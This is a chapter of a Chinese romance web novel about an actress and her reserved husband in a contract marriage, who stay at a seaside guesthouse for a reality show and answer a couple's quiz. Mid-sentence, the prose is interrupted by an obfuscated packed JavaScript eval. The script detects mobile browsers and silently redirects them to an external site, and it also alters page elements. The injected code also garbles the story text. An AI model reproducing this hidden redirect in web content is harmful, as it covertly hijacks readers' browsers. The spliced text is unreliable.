深秋的望归镇，连海风都带着一股浸入骨髓的凉意，卷起路边香樟树凋零的落叶，在空中打着旋，最终归于沉寂。天空是灰蒙蒙的，映衬着不远处同样灰蓝的海面，整个世界仿佛被调成了冷色调。
一辆黑色汽车缓缓停在一栋临海的独栋民宿前，车轮碾过铺满落叶的路，发出沙沙的轻响。
车门打开，先探出来的是一双踩着精致细高跟的纤足，随即，纪鹤晚整个人暴露在清冷的空气里。她只穿了一件棉质长裙，外罩一件米色针织毛衣，腰间围着一条棕色的皮带，勾勒不堪一握的纤纤细腰。
有风吹来，抚过她刻意设计散落的发丝，是她想象中破碎感满满的样子，但她的表情只维持了不到三秒，就控制不住地抱紧双臂，缩着脖子轻轻打了个寒颤。
紧随其后下车的贺迟砚，简单的一件高领黑毛衣，外搭一件普通的深灰色大衣，却依旧格外的帅气。纪鹤晚不免有些嫉妒。
这是她在家休息半个多月后第一次面对镜头，为了辟谣网上流传的她之所以不出来露面是因为怀孕了的离谱谣言，她甚至连昨天的晚饭都没有吃，特意选了不那么臃肿的衣服，还围了腰带。但没想到这南方的天气竟然也这么冷。
“你的造型师给你搭配的时候，没有看今天的气温么？”
她快冻死了，他竟然还在这里幸灾乐祸！
纪鹤晚飞速瞪了贺迟砚一眼，小巧的下巴一扬，强忍着牙关打颤的冲动，嘴硬道：“我要漂亮！镜头底下胖十斤，穿成粽子我还怎么见人？”
贺迟砚看着她冻得有些发白的嘴唇和颤抖的肩膀，没再争辩，只是无奈地摇了摇头。下一秒，他干脆利落地抬手，解开了自己大衣的纽扣。衣料摩擦发出轻微的窸窣声。
纪鹤晚只觉得肩上一沉，那件昂贵的大衣已然裹住了她冰凉的皮肤。她本能地缩了一下，随即被那源源不断渗出的暖意熨帖得几乎喟叹出声。带着他体温的大衣，轻柔地包裹着她，瞬间隔绝了噬骨的寒意。
“跟你的裙子挺搭，”贺迟砚淡淡补充一句，手上动作却极自然，甚至帮她拢了拢有些松散的衣襟，指尖不经意擦过她颈侧冰凉的皮肤，带来一丝不易察觉的微痒，“穿着吧。”
纪鹤晚低下头，不由笑了。不可否认，贺迟砚完全是在睁眼说瞎话，他的大衣完全将她从上到下包裹住了，连半片裙角都看不见，配他个大头鬼。不过确实很暖和。她从长长的袖子伸出手将大衣又裹紧了些，含糊地“嗯”了一声，算是接受。
贺迟砚没再看她，转身拉开了后备箱，取出了两人的行李箱。他一手推着自己的黑色商务行李箱，另一手无比自然地拉过纪鹤晚那个贴满了卡通贴纸的淡绿色行李箱，一同朝民宿里推去。
纪鹤晚裹着他的大衣，跟在他身后半步的位置。风依旧不甘地吹打着她的裙摆和发梢，但侵入骨髓的寒意已被牢牢锁在外面。她看着他宽阔挺直的背影，和他手里那个与他气质格格不入的绿色箱子，一种说不清道不明的怪异感在心底盘旋了一瞬，又被镜头前的本能压了下去。
推开吱呀作响的复古木门，暖橘色的灯光和空调的暖风扑面而来，混杂着一种老木头和干燥薰衣草的特有气息。
民宿内部是简约的北欧风格，原木与白墙的组合，干净温馨。贺迟砚放下行李箱，目光迅速而仔细地扫过一楼客厅和开放式厨房，随即迈步走向二楼。纪鹤晚也好奇地跟了上去。
二楼只有一间卧室，很平常，唯一特殊的地方就是几乎占据了一整面墙的落地墙，窗外灰蓝色的海面一览无余，翻滚的白色浪线一层层涌向沙滩。海风撞击玻璃，发出低沉的呜咽。
纪鹤晚的目光在房间里快速扫视一圈，最后定格在房间中央——那里赫然摆着两张单人床。雪白的床单铺得一丝不苟，中间隔着一步宽的距离。
几乎没有任何犹豫，她踩着短靴，快走几步，像一只终于归巢的倦鸟，带着点不管不顾的任性，“咚”地一声把自己扔在了靠窗的那张床上，双臂张开，呈大字型霸占了整个床铺。
“我要这张床！”她宣告，声音带着点长途奔波后的慵懒，又透着一股不容置疑的娇蛮，“不许和我抢！”
贺迟砚把行李箱放在墙边，直起身看向她。她整个人陷在柔软的白色床铺里，裹着他宽大的深灰色大衣，只露出一张巴掌大的小脸，乌黑的发丝有几缕凌乱地贴在颊边，眼神亮晶晶地瞪着他，像只虚张声势、圈定地盘的猫。
他眼底那点无奈的神色又浮了上来，嘴角却几不可察地牵了一下，很淡，转瞬即逝。
“没想和你抢。”他声音低沉平静，听不出情绪。
他转身走向自己的黑色行李箱，打开，有条不紊地将里面的东西取出。动作不疾不徐，沉稳得如同在公司处理公务。电脑包放在靠墙那张床头的矮柜上，几件叠放整齐的衣物收进衣柜，剃须套装和简单的洗漱用品则整齐地码在房间角落梳妆台的一角。
纪鹤晚侧躺在窗边的床上，单手支着头，看着贺迟砚忙碌的背影。他高大的身形在这样的居家场景里显得有些格格不入，却又带着一种奇异的专注感。海风吹得玻璃嗡嗡轻响，一时无人说话，只有他整理物品时细微的窸窣声。
“喂，贺迟砚，”纪鹤晚打破沉默，语气带着点探究的好奇，“第一次正经上节目，你竟然一点都不紧张耶？”她歪了歪头，回忆起自己初登舞台时的窘迫，“我第一次，在后台紧张得手脚冰凉，差点把主持人的话筒顺跑了。”
贺迟砚正拿起一件熨烫平整的衬衫挂进衣柜里。听见她的问话，他的动作微不可察地顿了一瞬。他没有立刻回头，只是维持着挂衣服的姿势，目光似乎落在衣柜深处的某个点上，声音透过轻微的回响传过来，平静得没有一丝波澜：“可能……因为你在吧。”他说得极其自然，就好像原因确实如此。
纪鹤晚微微一怔。这话听起来本应令人心暖，可从他嘴里说出来，配上那副波澜不惊的表情，更像是一种基于“合作伙伴在现场”的实用主义解释。她撇撇嘴，没再接话，翻了个身，目光投向窗外阴沉沉的大海。
短暂的休息后，节目组的工作人员送来了一张卡片——婚姻体检表。白色的卡纸上印着一连串的问题：
对方的生日？
对方最喜欢的食物？
对方最大的爱好？
对方最讨厌的东西？
你们的结婚纪念日？
对方最近一次流泪是什么时候？因为什么？
……
纪鹤晚的目光一行行扫过这些问题，太阳穴顿时突突跳了起来，她拿着笔，对着卡片抓耳挠腮。贺迟砚的生日，她倒是知道，但是剩下的……她完全是一头雾水。她偷偷瞄了一眼旁边坐姿端正、正在专注书写的贺迟砚，心里莫名有些发虚。他们结婚才七个月，而且是协议婚姻，私下交流寥寥无几，她对他的了解确实贫乏。
相比之下，贺迟砚几乎没有任何停顿，笔尖在纸面上流畅地滑动，神色平静无波
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448406|185201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，只偶尔会停下笔头思索。
“这不公平！”纪鹤晚忿忿不平地锤了下沙发，朝贺迟砚抱怨，“我哥都把关于我的一切告诉你了。你这就是拿着答案做题！”
“那我也把关于我的一切都告诉你？问题应该都是一样的吧，我的生日是……”
他竟然真的打算这么做，她还以为他是在开玩笑呢。
“这我知道。”纪鹤晚急急打断他的话。有种一拳打在棉花上的感觉，甚至连生气都没个正当理由。
“我才不要作弊呢。再说你也不一定记得。”
反正只是做个形式，何必这么认真？纪鹤晚放平了心态，连猜带蒙地填完了答案。
按照节目组要求，两人被请到了临时布置的采访室，需要当着对方的面，由导演提问，逐一核对答案。
采访室房间不大，布置得温馨舒适，米白色的沙发相对而放，中间隔着一个小茶几。三台摄像机黑洞洞的镜头对准了沙发区域，空气中弥漫着一种无形的、略带压迫感的安静。
“两位请坐。”导演声音透过小巧的麦克风传出，带着一种令人紧张的悬念感，“现在，我们来一起看看这份体检测报告。”
采访室的灯光比民宿房间明亮许多，白晃晃的打在脸上，有种无处遁形的感觉。纪鹤晚挨着沙发边缘坐下，身体不自觉地有些僵硬。贺迟砚在她旁边落座，姿态倒是一如既往的从容，只是背脊挺得异常笔直。
导演翻开了手中的卡片，目光在两人之间来回一扫，“第一个问题，请问鹤晚，贺先生的生日是几月几号？”
纪鹤晚清了清嗓子，努力让自己的声音听起来平稳自信：“6月24。”这是她唯二确定的答案。
导演点了点头，目光转向贺迟砚，“贺先生，鹤晚的生日是？”
“2月14日。”贺迟砚的声音毫无波澜，清晰报出。
纪鹤晚微微咬唇，这倒是没错。
导演点点头，“两人都回答正确，各加一分。”而后低头去看下一个问题，但却在看见纪鹤晚的答案时，怔然一瞬，疑惑询问：“鹤晚，你关于贺先生最喜欢的食物，爱好和讨厌的东西都写的是‘无’，是你不知道答案，还是……”
纪鹤晚看了贺迟砚一眼，他还是那样一副没有任何波动的冰块脸，但她已经没有那么厌烦了，可能是因为她已经习惯了，又或许是因为她以后都不会再见，所以没有那么在意了。
“因为他说过，他没有什么特别喜欢和讨厌的东西，所以我就写了无。不对吗？”
“没有，答案是正确的。”
答案正确，导演的声音却有些不确定。估计也在奇怪，一个人怎么能没有任何喜好，甚至也没有任何厌恶的东西。
“那请问贺先生，鹤晚最大的爱好是什么？”
“这个我不知道，但我猜应该是拍戏。对吗？”贺迟砚的目光越过茶几，落在纪鹤晚的侧脸上，不知道是在询问她还是导演。
“回答正确。”
剩下的问题和纪鹤晚的胡编乱造不一样，每一条贺迟砚都答得有理有据。他竟然真的记下来了。纪鹤晚心头掠过一丝惊诧。
导演：“你们的结婚纪念日是？”
“3月14。”两人异口同声。
四目相对中，纪鹤晚清晰看见了贺迟砚眼中的不可置信，她反而有些诧异，“你觉得我回答不出来？怎么着这也是我的第一次婚姻，我还是很重视的好吧。”虽然他可能看不出来。